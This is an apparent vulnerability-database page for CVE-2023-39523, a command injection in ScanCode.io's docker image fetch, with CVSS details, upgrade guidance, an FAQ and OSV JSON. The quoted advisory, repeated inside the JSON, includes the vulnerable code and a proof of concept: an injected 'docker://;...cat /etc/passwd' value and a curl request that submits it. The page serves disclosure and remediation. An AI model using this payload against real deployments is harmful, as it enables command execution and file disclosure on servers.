CVE-2023-39523: Scancodeio ScanCode.io Command Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-2ggp-cmvm-f62f
CVSS 6.8
CWE-77
Published
Advisory Summary

CVE-2023-39523 is a MODERATE (CVSS 6.8) scancode.io command injection vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Scancodeio libraries in the PyPI ecosystem. The issue involves scancode.io command injection in docker image fetch process. Remediation is available by upgrading affected packages to version 32.5.1.

CVE-2023-39523 at a Glance

CVE Identifier CVE-2023-39523
GHSA Identifier GHSA-2ggp-cmvm-f62f
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Scancodeio
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2023-39523

To remediate this vulnerability, upgrade all affected Scancodeio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

scancodeio fixed: 32.5.1
pip install scancodeio>=32.5.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show scancodeio

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-39523, inspect your installed packages using pip:

pip show scancodeio

Analyze the terminal output to locate any version of Scancodeio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 32.5.1), your application is affected.

Note: The pip show scancodeio command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Scancodeio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Command Injection in docker fetch process ### Summary A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter. ### Details In the function `scanpipe/pipes/fetch.py:fetch_docker_image`[1] the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`. ```python def fetch_docker_image(docker_reference, to=None): """ code snipped .... """ platform_args = [] platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed """ code snipped... """ ``` However, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. ```python def get_docker_image_platform(docker_reference): """ Return a platform mapping of a docker reference. If there are more than one, return the first one by default. """ skopeo_executable = _get_skopeo_location() """ Constructing a shell command with user controlled variable `docker_reference` """ cmd = ( f"{skopeo_executable} inspect --insecure-policy --raw --no-creds " f"{docker_reference}" ) logger.info(f"Fetching image os/arch data: {cmd}") exitcode, output = pipes.run_command(cmd) # Executing command logger.info(output) if exitcode != 0: raise FetchDockerImageError(output) ``` A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of `docker://;`, it would allow appending malicious commands. ### PoC 1. Create a new project with following input `docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd` in the filed Download URLs ![image](https://user-images.githubusercontent.com/122313513/258454691-7cabe100-f82d-44b9-99f2-5d6a0949e6c4.png) 2. Check docker logs to see the command execution ![image](https://user-images.githubusercontent.com/122313513/258455082-d7590b16-6fcb-4041-949f-2e20959db713.png) ```bash curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \ -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \ --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \ $'http://localhost/project/add/' ``` **Mitigations** The `docker_reference` input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly. **Tested on:** - Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb] - OS: Ubuntu Linux Kernel 5.19.0 **References** [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

CVE-2023-39523 Affected Scancodeio Versions

1 component(s)
Fixed Versions:
32.5.1
Product / Package Ecosystem Affected Versions Fixed Version
scancodeio
PyPI
< 32.5.1
32.5.1

References

Frequently Asked Questions

What is CVE-2023-39523?
CVE-2023-39523 is a security vulnerability in Scancodeio involving ScanCode.io command injection in docker image fetch process under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Scancodeio versions are affected?
Affected versions include releases prior to 32.5.1 across affected packages: scancodeio.
What version fixes CVE-2023-39523?
Upgrading to 32.5.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is scancodeio affected?
Yes, scancodeio is affected in releases prior to 32.5.1. Upgrade your dependency to 32.5.1 or later.
What is the CVSS score of CVE-2023-39523?
CVE-2023-39523 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H.
What CWE is associated with CVE-2023-39523?
CVE-2023-39523 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2023-39523?
Run the dependency tree command: 'pip show scancodeio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2ggp-cmvm-f62f",
  "modified" : "2023-08-09T14:41:23Z",
  "published" : "2023-08-09T14:41:23Z",
  "aliases" : [ "CVE-2023-39523" ],
  "summary" : "ScanCode.io command injection in docker image fetch process",
  "details" : "## Command Injection in docker fetch process\n\n### Summary\nA possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.\n\n\n### Details\nIn the function `scanpipe/pipes/fetch.py:fetch_docker_image`[1] the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`. \n```python\ndef fetch_docker_image(docker_reference, to=None):\n    \"\"\"\n    code snipped ....\n    \"\"\"\n    platform_args = []\n    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed\n   \"\"\"\n   code snipped...\n   \"\"\"\n```\n\nHowever, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. \n\n```python\ndef get_docker_image_platform(docker_reference):\n    \"\"\"\n    Return a platform mapping of a docker reference.\n    If there are more than one, return the first one by default.\n    \"\"\"\n    skopeo_executable = _get_skopeo_location()\n    \"\"\"\n    Constructing a shell command with user controlled variable `docker_reference`\n    \"\"\"\n    cmd = (\n        f\"{skopeo_executable} inspect --insecure-policy --raw --no-creds \"\n        f\"{docker_reference}\"\n    )\n\n    logger.info(f\"Fetching image os/arch data: {cmd}\")\n    exitcode, output = pipes.run_command(cmd) # Executing command\n    logger.info(output)\n    if exitcode != 0:\n        raise FetchDockerImageError(output)\n``` \n\nA malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of `docker://;`, it would allow appending malicious commands.\n\n### PoC\n\n1. Create a new project with following input `docker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd` in the filed Download URLs\n![image](https://user-images.githubusercontent.com/122313513/258454691-7cabe100-f82d-44b9-99f2-5d6a0949e6c4.png)\n\n2. Check docker logs to see the command execution\n![image](https://user-images.githubusercontent.com/122313513/258455082-d7590b16-6fcb-4041-949f-2e20959db713.png)\n\n```bash\ncurl -i -s -k -X $'POST' \\\n    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \\\n    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \\\n    --data-binary $'-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"csrfmiddlewaretoken\\\"\\x0d\\x0a\\x0d\\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"name\\\"\\x0d\\x0a\\x0d\\x0apoc\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"input_files\\\"; filename=\\\"\\\"\\x0d\\x0aContent-Type: application/octet-stream\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"input_urls\\\"\\x0d\\x0a\\x0d\\x0adocker://;echo${IFS}\\\"PoC\\\"${IFS}&&cat${IFS}/etc/passwd\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"pipeline\\\"\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"execute_now\\\"\\x0d\\x0a\\x0d\\x0aon\\x0d\\x0a-----------------------------2742275543734015476190112060--\\x0d\\x0a' \\\n    $'http://localhost/project/add/'\n```\n\n**Mitigations**\nThe `docker_reference` input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly. \n\n\n**Tested on:**\n- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]\n- OS: Ubuntu Linux Kernel 5.19.0\n\n**References**\n[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "scancodeio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "32.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 32.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nexB/scancode.io/security/advisories/GHSA-2ggp-cmvm-f62f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-39523"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nexB/scancode.io/commit/07ec0de1964b14bf085a1c9a27ece2b61ab6105c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nexB/scancode.io"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nexB/scancode.io/releases/tag/v32.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-08-09T14:41:23Z",
    "nvd_published_at" : "2023-08-07T21:15:09Z"
  }
}